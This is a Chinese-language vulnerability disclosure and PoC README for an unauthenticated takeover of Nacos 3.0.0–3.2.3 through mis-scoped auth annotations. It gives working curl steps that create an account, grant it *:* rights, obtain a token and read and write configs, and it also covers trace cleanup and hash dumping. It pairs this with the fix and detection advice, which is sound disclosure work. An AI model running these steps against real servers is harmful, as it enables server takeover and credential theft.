Nacos 3.0.0 ~ 3.2.3 存在一个鉴权作用域错配问题:用户、角色、权限三个管理接口落在了一个默认不鉴权的作用域里。攻击者不需要任何凭证,就能在 8848 端口上给自己建账号、发权限,然后正常登录拿到 token,等同接管整个服务端。3.2.4 修复。
- 影响版本:3.0.0 ~ 3.2.3
- 修复版本:3.2.4
- 攻击面:服务端主端口 8848(SDK/gRPC 用的端口,生产上基本都对内网开着)
- 前置条件:无。即使按官方文档把 admin、console 鉴权全开也一样能打
成因
Nacos 3.x 把接口鉴权按 @Secured(apiType = ...) 分了几个作用域,每个作用域一个开关:
ADMIN_API走AuthAdminFilter,开关nacos.core.auth.admin.enabled,默认开CONSOLE_API归控制台,开关nacos.core.auth.console.enabled,默认开OPEN_API走AuthFilter,开关nacos.core.auth.enabled,默认关
问题在于 apiType 的默认值就是 OPEN_API(Secured.java),而 UserControllerV3、RoleControllerV3、PermissionControllerV3 的注解都没写这个属性:
// 3.2.3, UserControllerV3.createUser
@Secured(resource = AuthConstants.CONSOLE_RESOURCE_NAME_PREFIX + "users",
action = ActionTypes.WRITE) // 没写 apiType
@PostMapping
public Result<String> createUser(@RequestParam String username, @RequestParam String password) {
于是这三个接口被默认关闭的 AuthFilter 把守,直接放行;而默认开启的 AuthAdminFilter 只匹配 apiType == ADMIN_API,根本不管它们。过滤器的放行逻辑在 AbstractWebAuthFilter 里,作用域开关一关就 chain.doFilter 了。
3.2.4 的修复很简单,就是补上注解:
@Secured(resource = AuthConstants.CONSOLE_RESOURCE_NAME_PREFIX + "users",
- action = ActionTypes.WRITE)
+ action = ActionTypes.WRITE, apiType = ApiType.ADMIN_API)
环境搭建
本地用 3.2.3 复现,standalone 模式,JDK 17+(我用的 openjdk 25):
tar -xzf nacos-server-3.2.3.tar.gz && cd nacos
# conf/application.properties 需要补三处,否则启动脚本会交互式让你填:
# nacos.core.auth.server.identity.key=serverIdentity
# nacos.core.auth.server.identity.value=security
# nacos.core.auth.plugin.nacos.token.secret.key= # openssl rand -base64 32
# 其余保持默认:auth.enabled=false, auth.admin.enabled=true, auth.console.enabled=true
bash bin/startup.sh -m standalone
这个配置就是"按文档开了鉴权"的正常部署,不是弱配置环境。
复现
全程不带任何凭证。先看对照组,确认鉴权本身是在工作的:
$ curl -o /dev/null -s -w "%{http_code}\n" "http://127.0.0.1:8848/nacos/v3/admin/cs/config/list?pageNo=1&pageSize=10"
403 # admin 作用域正常拦截
$ curl -o /dev/null -s -w "%{http_code}\n" -X POST "http://127.0.0.1:8080/v3/auth/user" -d "username=x&password=x"
403 # 控制台 8080 也正常拦截
然后是漏洞本体:
# 1. 未授权建号
$ curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/user" -d "username=poc_user&password=Poc@123456"
{"code":0,"message":"success","data":"create user ok!"}
# 2. 绑角色。ROLE_ADMIN 是保留角色会被业务层拦掉:
$ curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/role" -d "role=ROLE_ADMIN&username=poc_user"
{"status":500,...,"message":"role 'ROLE_ADMIN' is not permitted to create!"}
# 换自定义角色就行:
$ curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/role" -d "role=poc_role&username=poc_user"
{"code":0,"message":"success","data":"add role ok!"}
# 3. 给自定义角色发 *:* 读写权限,效果和 admin 等价
$ curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/permission" -d "role=poc_role&resource=*:*&action=rw"
{"code":0,"message":"success","data":"add permission ok!"}
# 4. 登录拿 token(nacos.core.auth.caching.enabled 默认开着,刚建的号要等 15s 左右缓存刷新才能登上)
$ curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/user/login" -d "username=poc_user&password=Poc@123456"
{"accessToken":"eyJhbGciOiJIUzI1NiJ9....","tokenTtl":18000,"globalAdmin":false,"username":"poc_user"}
# 5. 用这个 token 干 admin 才能干的事,比如列配置、写配置
$ curl -s "http://127.0.0.1:8848/nacos/v3/admin/cs/config/list?pageNo=1&pageSize=10" -H "accessToken: $TOKEN"
{"code":0,"message":"success","data":{"totalCount":0,...}}
$ curl -s -X POST "http://127.0.0.1:8848/nacos/v3/admin/cs/config" -H "accessToken: $TOKEN" \
--data-urlencode "dataId=pwned.yml" --data-urlencode "groupName=DEFAULT_GROUP" \
--data-urlencode "namespaceId=public" --data-urlencode "content=written by unauth attacker"
{"code":0,"message":"success","data":true}
读回这条配置能看到 createUser: poc_user,痕迹已经落库。
另外几个细节:
GET /v3/auth/user/list未授权能直接拖全部用户名和 bcrypt 哈希,可以当无损检测点- 对应的 DELETE 接口同样未授权可用,攻击者打完可以把痕迹清干净
- 能拿到全部配置的读写,等于数据库/中间件凭证都能看,再配合客户端配置注入可以往 RCE 走
POC 用法
python3 poc/poc.py # 默认打 127.0.0.1:8848
python3 poc/poc.py --host 10.0.0.5 --port 8848
python3 poc/poc.py --check-only # 只读探测,不写入
python3 poc/poc.py --no-cleanup # 打完不删注入的账号
纯 Python3 标准库,没有第三方依赖。流程是建号 → 绑角色 → 发权限 → 登录 → 列配置/写标记配置 → 自动清理,登录和用权阶段内置了重试(等鉴权缓存刷新)。结束时会把注入的账号、密码、完整 accessToken 集中打印一遍,直接拿去就能用;默认跑完会清理账户(token 随之失效),想保留账户就加 --no-cleanup。退出码 0 表示漏洞存在且利用成功,2 表示目标已修复。
修复建议
- 升级到 3.2.4 及以上
- 升级前临时缓解:开
nacos.core.auth.enabled=true(OPEN_API 作用域也会鉴权),或者在网关上把 8848 的/v3/auth/*限到可信来源 - 排查是否已被打:看
users/roles/permissions表里有没有来历不明、带*:*权限的账号;翻访问日志里POST /v3/auth/user、POST /v3/auth/permission无 token 返回 2xx 的记录
参考
- https://github.com/alibaba/nacos/releases/tag/3.2.4
- 本地拉了 3.2.3 和 3.2.4 两个 tag 的源码 diff 确认修复位置(env/ 和 source/ 不入库,见 .gitignore)
Comments